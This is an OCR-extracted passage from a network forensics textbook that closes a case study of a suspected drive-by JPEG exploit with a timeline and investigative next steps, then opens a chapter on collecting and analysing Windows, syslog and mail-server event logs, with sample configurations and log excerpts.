Based on what we’ve discovered so far, we can begin to interpret our NIDS alerts to construct
a time-based narrative. Here’s what transpired on 5/18/11 that seems to be of interest to
us (times are in MST):

e 07:45:09 NIDS alerts for 192.168.1.169 begin. Though these initial alerts—for web
bug downloads—do not themselves indicate any particularly adverse behavior, they do
serve to establish a known commencement of web browsing activity by 192.168.1.169.
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e 08:01:45 There is a NIDS alert for possible shellcode being downloaded by

192.168.1.169 from an unknown external web server. This is the NIDS alert that
was the impetus of our itnvestigation.

08:04:28-08:04:38 Multiple NIDS alerts (18) report crafted packets sent from
192.168.1.169 to multiple internal hosts.

08:15:08 NIDS alerts for 192.168.1.169 end. The end of the web bug download
alerts does not definitively indicate that 192.168.1.169 has ceased to be active on the
network, but it does at least indicate a possible change in the operator’s web browsing
activities.

7.9.8 Theory of the Case

Based on the timeline of NIDS events that we’ve identified as being of interest, let’s try
to construct a theory, or theories, to explain the observed events. Such theories should be
posed in such a way that they can be tested or evaluated to determine the actual nature of
the events that transpired. The next step in our analysis is interpretation.

far:

Here is a theory of the case that we’ve constructed based on the evidence obtained so

From 07:45:09 until at least 08:15:08 on 5/18/11, internal host 192.168.1.169 was used
to browse external web sites, some of which delivered web bugs, which were detected
and logged by the NIDS.

At 08:01:45, an unknown external web server (172.16.16.218) delivered what it stated
was a JPEG image to 192.168.1.169, which contained an unusual binary sequence that
is commonly associated with buffer overflow exploits.

The ETag in the external web server’s HT'TP response was:
1238-27b-4a38236£5d880

The MDb5sum of the suspicious JPEG was:
13¢303£746a0e8826b749fce56a5¢126

Less than three minutes later, at 08:04:28, internal host 192.168.1.169 spent roughly 10
seconds sending crafted packets to other internal hosts on the 192.168.1.0/24 network.
Based on their nonstandard nature, the packets are consistent with those used to
conduct reconnaissance via scanning and operating system fingerprinting.

Our suspicions at this stage of the investigation are probably quite clear and straight-

forward:

e “Drive-by”’ exploit It is certainly feasible that the “SHELLCODE x86 NOOP”

alert was a true positive, and that the content of the connection contained a client-side
exploit targeting the software that parses and renders JPEG images on internal host
192.168.1.169. If the internal host was compromised in this way, it would go a long
way toward explaining the system’s subsequent behavior.

e Subsequent reconnaissance The packets that 192.168.1.169 began sending at

08:04:28 to other local systems are perhaps the single most positive indicator that
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something is amiss. The parameters of the packets recorded are simply inconsistent
with any normal TCP transaction, violating both convention and RFC specifications
in numerous ways.

If we assume that a process on 192.168.1.169 was conducting reconnaissance—which
is quite consistent with the traffic patterns observed—this raises the obvious question
of “Why?” It could well be that one of the system’s legitimate users conducted the
scan. It could also be the case that the scanning process was launched by someone or
something else, lending credence to the theory that the system was compromised.

7.9.9 Next Steps

Let’s explore some ways we can test each of the possible theories we’ve posited above:

e Malware Analysis Since we carved a suspicious JPEG image out of the Snort
packet capture, we can provide this to REM investigators for a detailed analysis.
This can help us create NIDS and/or antivirus signatures for identifying the malware
elsewhere on our network, determine the purpose and function of the malware, and
scope the extent of the potential breach.

e Hard Drive Analysis We would almost certainly want to track down and obtain
the suspect internal host. This might entail reviewing DHCP leases, asset databases,
CAM tables, and the like. If the system can be reliably obtained, it could be ana-
lyzed for signs of compromise. We should be able to determine whether any of its
legitimate users had performed the scan, either intentionally or inadvertently. If the
system’s browser cache contained the 635-byte JPEG (identifiable by MD5 sum), and
their timestamps matched, that would provide excellent corroboration that the correct
system had been apprehended.

e Firewall/Central Log Server Analysis Understanding the scope of the inside
agent’s activities will be critical. Logs from both host-based and network-based fire-
walls should be consulted, as they may contain traces of activities in more volume or
detail.

e Web Proxy Cache Analysis Recall that the HTTP server headers within the
packet revealed the use of a proxy. If the proxy’s history and cache can be obtained,
it might be possible to put the malicious JPEG into context, to see where it lives and
how it came to be served to the internal host.

To Be Continued ...

Please see Section 10.8 for the conclusion of “InterOptic Saves the Planet.”
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Part 111

Network Devices
and Servers

Chapter 8, “Event Log Aggregation, Correlation, and Analysis,” discusses collection and analysis
of logs from various sources, including operating systems of servers and workstations (such as
Windows, Linux, and UNIX), applications, network equipment, and physical devices.

Chapter 9, “Switches, Routers, and Firewalls,” studies the evidence that can be gathered
from different types of network equipment and strategies for collecting it, depending on available
interfaces and level of volatility.

Chapter 10, “Web Proxies,” reviews the explosion of web proxies, and how investigators can
leverage these devices to collect web surfing histories and even cached copies of web objects.
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Chapter 8

Event Log Aggregation, Correlation,
and Analysis

“They seem to have a fundamental misunderstanding of the Internet:
nothing is too trivial.’—Philip Lisiecki, MIT"

Application servers, routers, firewalls, network devices, cameras, HVAC systems, and all
kinds of other devices generate event logs. Event logs are simply selected records that provide
information about the state of the system and/or environment at a given time. Different
types of devices generate different types of event logs. Event logs may include information
about system access (such as server logins and logouts), startup and shutdown times, errors
and problems, or just routine data such as the data-center temperature.

Event logs may be sent from individual devices to a central server, or sent to multiple
servers, or stored on the local device and never sent over the network at all. There are
an enormous number of event log formats, including proprietary, customized, and publicly
standardized formats—a constant challenge for forensic investigators.

Why do network forensic investigators analyze event logs? Here are a few reasons:

e The event logs contain information directly relating to network functions, such as
DHCP lease histories or network statistics.

e The event logs include records of network activity, such as remote login histories.

e The event logs have been transmitted over the network and therefore created network
activity.

Often, event log analysis blurs the line between traditional hard drive forensics and net-
work forensics. For example, event logs are often stored on the hard drive of a networked
server, transmitted over the network, or describe network-based activity. Network investi-
gators typically analyze event logfiles collected from networked devices using the same log
analysis tools and techniques as those collected from local devices.

The quality of the results of a network forensic investigation tend to be directly propor-
tional to the amount and granularity of the available logs. The more comprehensive and

1. Robert J. Sales, “Random Hall residents monitor one of MIT’s most-washed web sites—MIT News Office,”
April 14, 1999, http://web.mit.edu/newsoffice/1999/laundry-0414.html.
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organized the logging system, the easier it will be to reconstruct past events accurately.
This is why it is best to centrally manage and report on logs before an incident! For ongoing
incidents, logging configuration can be set up or changed during an ongoing investigation.

In this chapter, we review the sources of network event logs, methods of collection, log
aggregation architectures, and discuss pitfalls associated with networked event log aggre-
gation and collection. We provide some examples, but keep in mind that analysis of any
one type of log could fill an entire book. For detailed information on a specific type of log,
you will need to research publicly available materials, collect vendor documentation, and in
some cases conduct your own experiments in a network forensics lab.

8.1 Sources of Logs

The sources of event logs are wide and varied. All kinds of equipment and software can
generate them, including:

e Operating systems of servers and workstations, such as Windows, Linux, or UNIX-
based operating systems

e Applications, such as web, database, and DNS servers
e Network equipment, such as switches, routers, and firewalls

e Physical devices, such as cameras, access control systems, and HVAC systems

8.1.1 Operating System Logs

Operating system (OS) event logs are among the most common. By default, most operating
systems have small amounts of logging enabled. Most OSs, including Windows, Linux, and
UNIX-based systems, are capable of maintaining event logs that store records of system
events. By default, these logs are not always extensive, but they are usually customizable.
Regulations such as HIPAA, as well as actual data breaches, have spurred many companies
into collecting workstation and server authentication logs centrally.

OS event logs can include records of:

e Logins/logouts
e Execution of privileged commands
e System startup/shutdown

e Service activities and errors

8.1.1.1 Microsoft Windows Logs

Microsoft Windows NT systems supported event logging beginning in 1993 with Windows
NT 3.1. Older systems prior to Windows Vista used the Event Log service to record logs, and
the native Event Viewer application to view and filter them. As of Windows Vista (2006),
Microsoft redesigned the event logging system for Windows operating systems and replaced
the older system with “Windows Eventing 6.0.” The new system is much more helpful for
forensic analysts.
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Event Log Service and Event Viewer The Event Log Service and Event Viewer supported
three standard sources of logs, defined in Microsoft’s documentation as:?

e Application—“Contains events logged by applications. For example, a database
application might record a file error. The application developer decides which events
to record.”

e Security—“Contains events such as valid and invalid logon attempts, as well as events
related to resource use such as creating, opening, or deleting files or other objects. An
administrator can start auditing to record events in the security log.”

e System—“Contains events logged by system components, such as the failure of a driver
or other system component to load during startup.”

Depending on the version of Windows NT and the services installed, there can be other
custom or application-specific logs as well.

Each event log entry includes a header and description. The header contains basic details
such as the date and time, log type,® computer hostname, user, category, and Event ID.* The
“type” can be one of five event types: Information, Warning, Error, Success Audit (Security
Log), and Failure Audit (Security Log). The Event ID is a unique number associated with
a specific type of event.®

Figure 8-1 shows an example of the Event Log Viewer used on Windows XP.

Event logs are stored on a locally mounted hard drive in the location specified within
the Eventlog registry key. They are typically stored in a file with the extension “.evt”®
(although text and CSV formats are also natively supported), and limited to a set file size.
The system is frequently configured to automatically overwrite older events according to a
set time frame as needed to preserve hard drive space.

Microsoft Windows systems prior to Windows Vista did not natively support logging to
a remote server. As a result, logs were nearly always stored locally (and therefore highly
susceptible to corruption, deletion, or modification, especially in the event of system com-
promise). Over time, several popular third-party logging clients emerged to send logs to a
remote server. These included Snare, Lasso, and Ntsyslog.”

Windows Eventing 6.0 Windows Eventing 6.0 includes additional types of event logs.
There are two general categories: “Windows Logs” and “Applications and Services Logs.”
The Applications and Services Logs include information useful for IT professionals and

2. “Bventlog  Key  (Windows),” Microsofft, 2011,  http://msdn.microsoft.com/en-us/library/
2a363648(v=VS.85).aspx.

3. “Eventlog Key (Windows).”

4. “How to view and manage event logs in Event Viewer in Windows XP,” Microsoft Support, May 7, 2007,
http://support.microsoft.com/kb/308427.

5. Ibid.

6. “How to move Event Viewer log files to another location in Windows 2000 and in Windows Server 2003,”
Microsoft Support, March 2, 2007, http://support.microsoft.com/kb/315417.

7. Dimitri, “How to convert Windows messages to Syslog | LogLogic Community Portal,” July 21, 2008,
http://open.loglogic.com/forum/how-convert-windows-messages-syslog.
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Figure 8—1. The Event Viewer on Windows XP. Notice that this screenshot shows a “Successful
Logon,” which is a common type of log created by operating systems.

software developers.® The “Windows Logs” include the same three categories of information
logged by prior versions of Windows: Application, Security, and System. In addition, it
includes a new “Setup” log, with records relating to application setup, and a “Forwarded-
Events” log.

The new “ForwardedEvents” log marks a critical development for network forensic
investigators. As of Windows Vista, Microsoft included built-in support for remote logging.
Modern Windows clients can send logs to a remote system for collection and further analy-
sis. This must be configured on both the client and server systems. The “ForwardedEvents”
log is used to store events collected from remote systems.

The Windows Eventing 6.0 system is designed to log events in an XML format. This can
allow investigators to perform highly granular queries using XPath 1.0 expressions in Event
Viewer or custom tools.

In order to send logs to a central remote logging repository, Windows Eventing 6.0 relies
on Microsoft’s implementation of the Web Services-Management (WS-Managament) open
standard, developed by the industry group Distributed Management Task Force (DMTP)
to faciliate remote system management.” The Windows Remote Management (WinRM)

8. “Bvent Logs,” Microsoft, 2011, http://technet.microsoft.com/en-us/library/cc722404.aspx.

9. DMTF, “Web Services for Management (WS-Management) Specification,” 2010, http://www.dmtf.org/
standards/published _documents/DSP0226_1.1.pdf.


http://technet.microsoft.com/en-us/library/cc722404.aspx
http://www.dmtf.org/standards/published_documents/DSP0226_1.1.pdf
http://www.dmtf.org/standards/published_documents/DSP0226_1.1.pdf
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service uses the SOAP-based WS-Managament protocol to exchange information between
remote systems via HTTP/HTTPS.°

Modern versions of Windows, including Windows Vista, Windows 7, and Windows Server
2008, natively include the WinRM service and can be configured to send event logs to a
central collector system, or to act as central collector systems themselves. Windows Server
2003 R2 does not natively include the WinRM service, but WinRM can be downloaded and
configured on Windows Server 2003 R2 for use as a central collector system or as an event
log source. The WinRM service may also be downloaded for Windows XP and Windows
Server 2003 clients so that these systems may be configured for use as event log sources. !!

You can use the graphical Event Viewer to configure event log subscriptions on the
central log collector or the “wecutil” command-line utility.'2

Example: Windows Event Logging Here are some Security event logs from a Windows
XP system (collected using the client software “Snare.”) Notice that these logs include both
failed and successful logons from two users, “sam” and “lila,” using the same workstation.
Notice also that the system did not include the year in the timestamp! This is very common
and can be challenging for forensic analysts who may have to manually wade through logs
and sort out the year through filesystem and timeline analysis.

Apr 17 11:49:54 192.168.1.26 MSWinEventLog 1 Security 40
Fri Apr 17 11:49:54 2009 683 Security SYSTEM User
Success Audit N-D8BE7A700E254 Logon/Logoff Session
disconnected from winstation: User Name: sam Domain: N-
D88E7A700E254 Logon ID: (0x0,0x55A21C) Session Name: RDP-Tcp#2
Client Name: student-desktop Client Address: 192.168.1.25
26
Apr 17 11:49:54 192.168.1.26 MSWinEventLog 1 Security 41
Fri Apr 17 11:49:54 2009 593 Security sam User
Success Audit N-D88SE7A700E254 Detailed Tracking A
process has exited: Process ID: 2356 Image File Name: C:\WINDOWS\
system32\wuauclt.exe User Name: sam Domain: N-D88E7A700E254
Logon ID: (0x0,0x55A21C) 27
Apr 17 11:50:18 192.168.1.26 MSWinEventLog 1 Security 43
Fri Apr 17 11:50:18 2009 680 Security SYSTEM User
Failure Audit N-D8BE7TA700E254 Account Logon Logon attempt
by: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 Logon account: 1lila
Source Workstation: N-D88E7A700E254 Error Code: 0xCO000006A 29
Apr 17 11:50:26 192.168.1.26 MSWinEventLog 1 Security 44
Fri Apr 17 11:50:18 2009 529 Security SYSTEM User
Failure Audit N-D88E7A700E254 Logon/Logoff Logon Failure:
Reason: Unknown user name or bad password User Name: 1lila
Domain: N-D88E7A700E254 Logon Type: 2 Logon Process: Advapi
Authentication Package: Negotiate Workstation Name: N-D88E7A700E254
30

10. Otto Helweg, “Quick and Dirty Large Scale Eventing for Windows,” Management Matters,
July 8, 2008, http://blogs.technet.com/b/otto/archive/2008/07/08 /quick-and-dirty-enterprise-eventing-for-
windows.aspx.

11. MSDN, “Windows Event Collector (Windows),” March 10, 2011, http://msdn.microsoft.com/en-us/
library /bb427443(v=VS.85).aspx.

12. Mark Minasi et al., Mastering Windows Server 2008 R2 (Indianapolis, IN: Wiley, 2010).


http://blogs.technet.com/b/otto/archive/2008/07/08/quick-and-dirty-enterprise-eventing-for-windows.aspx
http://blogs.technet.com/b/otto/archive/2008/07/08/quick-and-dirty-enterprise-eventing-for-windows.aspx
http://msdn.microsoft.com/en-us/library/bb427443(v=VS.85).aspx
http://msdn.microsoft.com/en-us/library/bb427443(v=VS.85).aspx
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As another example, the following logs were sent from a Windows 7 system to a central
rsyslogd server using the Snare client. Notice that in this case the central rsyslogd server is
configured to prepend all received messages with high-precision timestamps, including the

year.

2011-04-25T15:19:29-06:00 fox-ws MSWinEventLog#0111#011Security#0112610#011
Mon Apr 25 15:19:27 2011#0114776#011Microsoft-Windows-Security-Auditing
#011bob#011N/A#011Success Audit#011fox-ws#011None#011#011The computer
attempted to validate the credentials for an account. Authentication

Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 Logon Account: bob Source

Workstation: FOX-WS Error Code: 0xO0#0112467

2011-04-25T15:19:29-06:00 fox-ws MSWinEventLog#0111#011Security#0112611#011
Mon Apr 25 15:19:27 2011#0114648#011Microsoft-Windows-Security-Auditing
#011bob#011N/A#011Success Audit#011fox-ws#011None#011#011A logon was

attempted using explicit credentials. Subject: Security ID: S-1-5-18

Account Name: FOX-WS$ Account Domain: WORKGROUP Logon ID: O0x3e7

Logon GUID: {00000000-0000-0000-0000-000000000000} Account Whose
Credentials Were Used: Account Name: Dbob Account Domain: fox-ws
Logon GUID: {00000000-0000-0000-0000-000000000000} Target Server:
Target Server Name: localhost Additional Information: localhost
Process Information: Process ID: 0xdc8 Process Name: C:\Windows\

System32\winlogon.exe Network Information: Network Address: 127.0.0.1

Port: 0 This event is generated when a process attempts to log on
an account by explicitly specifying that account'
commonly occurs in batch-type configurations such as scheduled tasks, or

when using the RUNAS command.#0112468
2011-04-25T15:19:29-06:00 fox-ws MSWinEventLog#0111#011Security#0112612#011
Mon Apr 25 15:19:27 2011#0114624#011Microsoft-Windows-Security-Auditing
#011bob#011N/A#011Success Audit#011fox-ws#011None#011#011An account was

successfully logged on. Subject: Security ID: S-1-5-18 Account
Name: FOX-WS$ Account Domain: WORKGROUP Logon ID: O0x3e7 Logon
Type: 2 New Logon: Security ID: S

s credentials. This most

-1-5-21-29357171-1333843320-2140510157-1002 Account Name: Dbob Account

Domain: fox-ws Logon ID: 0x77710f Logon GUID:
{00000000-0000-0000-0000-000000000000%} Process Information: Process
ID: 0xdc8 Process Name: C:\Windows\System32\winlogon.exe Network
Information: Workstation Name: FOX-WS Source Network Address:
127.0.0.1 Source Port: 0 Detailed Authentication Information:
Logon Process: User32 Authentication Package: Negotiate Transited
Services: - Package Name (NTLM only): - Key Length: O This event
is generated when a logon session is created. It is generated on the
computer that was accessed. The subject fields indicate the account on
the local system that requested the logon. This is most commonly a
service such as the Server service, or a local process such as Winlogon.
exe or Services.exe. The logon type field indicates the kind of logon
that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was

created (i.e., the account that was logged on). The network fields
indicate where a remote logon request originated. Workstation name is not
always available and may be left blank in some cases. The
authentication information fields provide detailed information about this
specific logon request. - Logon GUID is a unique identifier that can be
used to correlate this event with a KDC event. - Transited services
indicate which intermediate services have participated in this logon
request. - Package name indicates which subprotocol was used among the

NTLM protocols. - Key length
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8.1.1.2 UNIX/Linux Event Logging

UNIX-based and Linux systems, such as Solaris, Ubuntu Linux, and Mac OS X, are dis-
tributed with a native logging utility based on “syslog.”

Syslog Syslog is a client/server protocol designed for transmitting event notifications in an
IP network. It was originally developed in the 1980s, although it wasn’t formally documented
by a standards body until 2001 (IETF RFC 3164). Syslog (and its derivatives) is the default
logging mechanism in most modern Linux/UNIX-based distributions. By default, the syslog
service runs locally and allows system administrators to configure logging of local operating
system and application data. Syslog can also be configured to receive event logs from other
systems over a network socket (the default syslog configuration file is usually located at
/etc/syslog.conf). Many applications include built-in functionality for interfacing with both
local and remote syslog daemons. There are also several popular Windows clients that collect
and forward logs to central syslog servers. For remote logging, the standard syslog port is
UDP 514. Because syslog receives over UDP by default, the transmissions do not have
network-layer reliability, and packets may be dropped without recovery. There is no built-in
encryption or authentication.

Facilities in syslog are different categories for messages. Logs are sent to a particular
facility based (roughly) on their origin process. For example, messages created by a mail
application are normally sent to the mail facility. These assignments are fully customizable
by the administrator, and the facilities local0 through local7 are reserved for local customiza-
tions. Common syslog facilities include auth, authpriv, cron, daemon, kern, lpr, mail, mark,
news, syslog, user, uucp, and local0 through local?.

Priorities indicate the severity or importance of the message. Syslog message priorities
include: debug, info, notice, warning, warn (same as warning), err, error (same as err), crit,
alert, emerg, and panic (same as emerg). You can configure syslog to store messages of
specific facilities/priorities in different files. (By default, logs on UNIX/Linux systems are
commonly stored in /var/log.)?

syslog-ng Syslog-ng is the “next generation” syslog daemon. It includes a number of addi-
tional features, such as built-in support for encryption during transmission (TLS), enabling
administrators to send messages over encrypted tunnels to the syslog-ng server. Syslog-ng
also enables administrators to configure reliable transport-layer communication using TCP.
There is an open-source version (syslog-ng OSE) licensed under LGPL, and also additional
plugins available under a proprietary license (“Premium Edition” [PE]).!*

The syslog-ng configuration (typically found at /etc/syslog-ng/syslog-ng.conf) is based
on the same concepts as syslog, but it allows for greater granularity. The concepts of facil-
ities and priorities are still included. In the syslog-ng configuration file, message routes are
determined by three components: source, destination, and filter.

e First, the user defines a source. This can be a file, UDP port, TCP port, or socket.

e Next, the user defines a destination. Again, syslog-ng can write messages to a file and
send them out via TCP or UDP port, socket, or a user’s terminal.

13. Greg Wettstein and Martin Schulze, “Linux man page,” 2011, http://linux.die.net/man/5/syslog.conf.

14. BalaBit—IT Security, “Multiplatform Syslog Server and Logging Daemon,” 2011, http://www.balabit
.com/network-security /syslog-ng/.
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e Then, the user defines a filter that specifies a combination of facilities and ports that
will be logged.

e Finally, the user creates a “log” statement and includes a source, filter, and destination.
This log statement is a rule by which syslog-ng routes message. '

Here is a simple example of the syslog-ng configuration file. In this example, the server
is configured to accept remote authentication logs (UDP 514) and write them to a file
(/var /log/remote.auth.log).

#Define remote message sources
source s_remote { udp(); };
#Define destination filename
destination df_auth_remote { file("/var/log/remote.auth.log"); I};
# Filter all messages from the auth and authpriv facilities
filter f_auth { facility(auth, authpriv); };
# Put it all together
log {
source (s_remote) ;
filter (f_auth);
destination(df_auth_remote);

};

The final “log” statement instructs syslog-ng to take all logs from the source “s_remote,” sort
out all auth and authpriv facility logs, and write these to the file /var/log/remote.auth.log.

rsyslogd Rsyslog, the “reliable and extended syslogd,”!® is an open-source (GPL) and
very popular replacement for the original syslog daemon.!” Among many features, rsyslog
includes built-in support for:

o IPv6

e TCP and Reliable Event Logging Protocol (RELP) for reliable transport-layer trans-
mission

e TLS/SSL for encrypted transmission of logs over the network
e Extremely granular control over output log format

e Config file, which is backward-compatible with syslogd

e High-precision timestamps and time zone logging

e ISO 8601, an international standard for communication of dates and times,'® and RFC
3339, an IETF standard for compliance with ISO 86019

15. Jose Pedro Oliverira, “Linux man page,” 2004, http://linux.die.net/man/5/syslog-ng.conf.

16. Rainer Gerhards and Michael Meckelein, “Ubuntu Manpage: rsyslogd—reliable and extended syslogd,”
Ubuntu Manuals, 2010, http://manpages.ubuntu.com/manpages/hardy/man8/rsyslogd.8.html.

17. Rainer Gerhards, “Rainer’s Blog: Why does the world need another syslogd? (aka rsyslog vs. syslog-ng),”
August 12, 2007, http://blog.gerhards.net/2007/08 /why-does-world-need-another-syslogd.html.

18. “International Organization for Standardization,” Wikipedia, July 13, 2011, http://en.wikipedia.org/
wiki/ISO_8601.

19. G. Klyne and C. Newman, “RFC 3339—Date and Time on the Internet: Timestamps,” [ETF, July 2002,
http://www.ietf.org/rfc/rfc3339.txt.
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Practically speaking, these features are very useful for forensic analysts because they
facilitate analysis, allow for highly granular logs, enable accurate timestamping and time
synchronization, and provide for confidential and reliable transmission of logs across an IP
network.2°

Example: Linux Authentication Logs In the example below, you can see authentication
logs from an Ubuntu Linux server (8.04) running syslogd in default configuration. Notice
that the example logs below contain records of privileged commands (“sudo” and “su”),
successful remote logins by the user “marie” (“sshd”), and records of automatic activities
run by the administrative “root” user (“CRON” jobs). Again, notice that the year was not
included by default in the system timestamp.

Feb 27 15:39:28 bigserver sudo: marie : TTY=pts/O0 ; PWD=/home/marie ; USER
=root ; COMMAND=/bin/su
Feb 27 15:39:28 bigserver sudo: pam_unix(sudo:session): session opened for
user root by marie(uid=0)
Feb 27 15:39:28 bigserver sudo: pam_unix(sudo:session): session closed for
user root
Feb 27 15:39:28 bigserver sul[19070]: Successful su for root by root
Feb 27 15:39:28 bigserver sul[19070]: + pts/0 root:root
Feb 27 15:39:28 bigserver sul[19070]: pam_unix(su:session): session opened for
user root by marie(uid=0)
Feb 27 16:09:01 bigserver CRON[19107]: pam_unix(cron:session): session opened
for user root by (uid=0)
Feb 27 16:09:01 bigserver CRON[19107]: pam_unix(cron:session): session closed
for user root
Feb 27 16:17:01 bigserver CRON[19118]: pam_unix(cron:session): session opened
for user root by (uid=0)
Feb 27 16:17:01 bigserver CRON[19118]: pam_unix(cron:session): session closed
for user root
Feb 27 16:30:01 bigserver CRON[19121]: pam_unix(cron:session): session opened
for user root by (uid=0)
Feb 27 20:02:11 bigserver sshd[19224]: Accepted publickey for marie from
10.146.28.43 port 38760 ssh2
Feb 27 20:02:11 bigserver sshd[19226]: pam_unix(sshd:session): session opened
for user marie by (uid=0)
Feb 27 20:02:26 bigserver sudo: pam_unix(sudo:auth): authentication failure;
logname=marie uid=0 euid=0 tty=/dev/pts/0 ruser= rhost= wuser=marie
Feb 27 20:02:35 bigserver sudo: marie : TTY=pts/O0 ; PWD=/home/marie ; USER
=root ; COMMAND=/bin/echo hi

Example: Linux Kernel Logs The example below shows a different kind of operating sys-
tem log from an Ubuntu Linux server (9.10) running sysklogd. The “kernel” logs below were
created as a result of a system reboot. The server logged an extensive amount of informa-
tion, from startup/shutdown times, to detailed CPU/RAM information, to networking and
filesystem data (a brief snippet is shown below).

20. Rainer Gerhards, “rsyslog vs. syslog-ng—a comparison,” rsyslog, May 6, 2008, http://www.rsyslog.com/
doc/rsyslog-ng_comparison.html.
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Feb
Feb
Feb
Feb
Feb
Feb
Feb
Feb
Feb

Feb

Feb
Feb
Feb
Feb
Feb
Feb
Feb
Feb
Feb

Feb
Feb

Feb

Feb

23
23
23

18:42:
18:42:
18:42:
23 20:53:
23 20:563:
server
23 20:53
23 20:53:20
23 20:53:20
subsys cpuset

23 20:53:20 littleserver
subsys cpu

23 20:53:20 littleserver
server (buildd@allspice)
Ubuntu SMP Thu Sep 16 16
23 20:53:20 littleserver
mdO0 ro quiet splash

23 20:53:20 littleserver
23 20:53:20 littleserver
23 20:53:20 littleserver
23 20:53:20 littleserver
23 20:53:20 littleserver
RAM map:

23 20:53:20
0000000000000000 -

50
50
51
20
20

littleserver
littleserver
littleserver
littleserver
littleserver
:20 littleserver
littleserver
littleserver

littleserver

23 20:53:20 littleserver
Quad CPU Q8200
23 20:53:20 littleserver
0x1 ip 0x6000

23 20:53:20 littleserver
23 20:53:20 littleserver
timer specific routine..
23 20:53:20 littleserver
D cache: 32K

23 20:53:20 littleserver

Subseqgently, on February 24,

:33:54 UTC 2010
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kernel: Kernel logging (proc) stopped.

kernel: Kernel log daemon terminating.

exiting on signal 15

syslogd 1.5.0#5ubuntué4: restart.

kernel: Inspecting /boot/System.map-2.6.31-22-
kernel: Cannot find map file.

kernel: Loaded 64702 symbols from 47 modules.

kernel: [ 0.000000] Initializing cgroup

kernel: [ 0.000000] Initializing cgroup
kernel: [ 0.

(gcc version 4.

000000] Linux version 2.6.31-22-
4.1 (Ubuntu 4.4.1-4ubuntu9) ) #65-
(Ubuntu 2.6.31-22.65-server)

kernel: [ 0.000000] Command line: root=/dev/
kernel: [ 0.000000] KERNEL supported cpus:
kernel: [ 0.000000] Intel GenuinelIntel
kernel: [ 0.000000] AMD AuthenticAMD
kernel: [ 0.000000] Centaur CentaurHauls
kernel: [ 0.000000] BIOS-provided physical
kernel: [ 0.000000] BIOS-e820:

000000000009fc00 (usable)

kernel: [ 0.139714] CPUO: Intel(R) Core(TM)2

@ 2.33GHz stepping 07

kernel: [ 0.140000] Booting processor 1 APIC
kernel: [ 0.010000] Initializing CPU#1
kernel: [ 0.010000] Calibrating delay using

4607 .26 BogoMIPS (1pj=23036301)

kernel: [ 0.010000] CPU: L1 I cache: 32K, L1

kernel: [ 0.010000] CPU: L2 cache: 2048K

the same system also recorded logs relating to the restart

of the logging service itself (syslog), as well as routine time markers that syslog includes so
that analysts can verify the logging server is working (even though there were no events).

Feb
Feb
Feb
Feb

24
24
24
24

06:
06:53:
07:13:
07:33:

25:17
20
20

20

littleserver
littleserver
littleserver
littleserver

8.1.2 Application Logs

1.5.0#5ubuntuéd:
MARK --
MARK --
MARK --

syslogd restart.

Most applications generate logs of important events, including records of network-based
access, debugging messages, and routine startup/shutdown logs. Application servers include:

e Web servers
e Database servers
e Mail servers

e DNS servers
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e VoIP servers
e Firewalls
e Logging servers

Authentication servers

Filesharing servers
e ... and much more.

Application servers are constantly evolving new features and changing output formats to
keep up with the latest developments in hardware, software, and protocol specifications. As
a result, application log contents and formats are also constantly changing. Although some
applications create logs in well-documented, published formats, network forensic analysts
constantly run into new log formats, or formats that are simply not well documented. In
some cases, application logs in real life are just different from the documented format or
outdated. Furthermore, many applications allow local system administrators to customize
log contents and formatting, in which case there may be no documentation at all as to the
meaning of the output (other than what is listed in the application configuration).

8.1.2.1 Example—SMTP Logs

Here is an example of logs from a Postfix/SMTPD mail server. The logs begin by recording
a message that was sent from “username@example.com” on the local system to “sn34kyg33k
@gmail.com.” You can see that it was successfully sent through Google’s mail server,
209.85.222.47.

Subsequently, an unknown system (201.250.45.83, registered at the time to the ISP
“Telefonica de Argentina”) unsuccessfully attempted to connect to the SMTP daemon on
“bigserver” and relay a message from “onotherplap3@maill5.com” to “tofasllls@maill5.com.”
(It is likely that this was an attempt to send a SPAM message.)

Sep 23 14:33:45 bigserver postfix/pickup[25480]: 9612218C069: uid=1001 from=<
username@example.com>

Sep 23 14:33:45 bigserver postfix/cleanup[26011]: 9612218C069: message-id
=<20090923203345.9612218C0690@bigserver@example.com>

Sep 23 14:33:45 bigserver postfix/qmgr [24702]: 9612218C069: from=<
username@example.com>, size=1060, nrcpt=1 (queue active)

Sep 23 14:33:45 bigserver postfix/pickup[25480]: A501018C062: uid=1001 from=<
username@example.com>

Sep 23 14:33:45 bigserver postfix/cleanup[26011]: A501018C062: message-id
=<20090923203345.A501018C0620@bigserver@example.com>

Sep 23 14:33:45 bigserver postfix/qmgr [24702]: A501018C062: from=<
username@example.com>, size=1064, nrcpt=1 (queue active)

Sep 23 14:33:45 bigserver postfix/pickup[25480]: B3A3718C06B: uid=1001 from=<
username@example.com>

Sep 23 14:33:45 bigserver postfix/cleanup[26011]: B3A3718C06B: message-id
=<20090923203345.B3A3718C06B@bigserver@example.com>

Sep 23 14:33:45 bigserver postfix/qmgr [24702]: B3A3718C06B: from=<
username@example.com>, size=1084, nrcpt=1 (queue active)

Sep 23 14:33:46 bigserver postfix/smtp[26064]: B3A3718C06B: to=<
sn34kyg33k@gmail .com>, relay=aspmx.l.google.com[209.85.222.47]:25, delay
=0.57, delays=0.04/0.01/0.14/0

.37, dsn=2.0.0, status=sent (250 2.0.0 0K 1253738039 13si3213003pzk.59)
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Sep
Sep
Sep

Sep

Sep
Sep
Sep
Sep

Sep

Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep

Sep

23 14:33:46 bigserver

23 15:19:55 bigserver postfix/smtpd[26160]:
hostname 201-250-45-83.speedy.com.ar verification failed:

not known

23 15:19:55
[201.250.45.
23 15:19:56
unknown [201.
denied;
SMTP helo=<none>

23 15:19:57 bigserver
[201.250.45.83]

83]

250.45.83]:
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postfix/qmgr [24702] :

bigserver postfix/smtpd[26160]:
bigserver postfix/smtpd[26160]:
5564 5.7.1 <tofasllls@maillb5.com>:
from=<onotherplap3@maill5.com> to=<tofasllls@maillb

postfix/smtpd [26160]:

B3A3718C06B:

warning:

removed
201.250.45.83:
Name or service

connect from unknown

NOQUEUE :

disconnect from

reject: RCPT from
Relay access
.com> proto=

unknown

23 15:23:17 bigserver postfix/anvil[26163]: statistics: max connection
rate 1/60s for (smtp:201.250.45.83) at Sep 23 15:19:55

23 15:23:17 bigserver postfix/anvil[26163]: statistics: max connection
count 1 for (smtp:201.250.45.83) at Sep 23 15:19:55

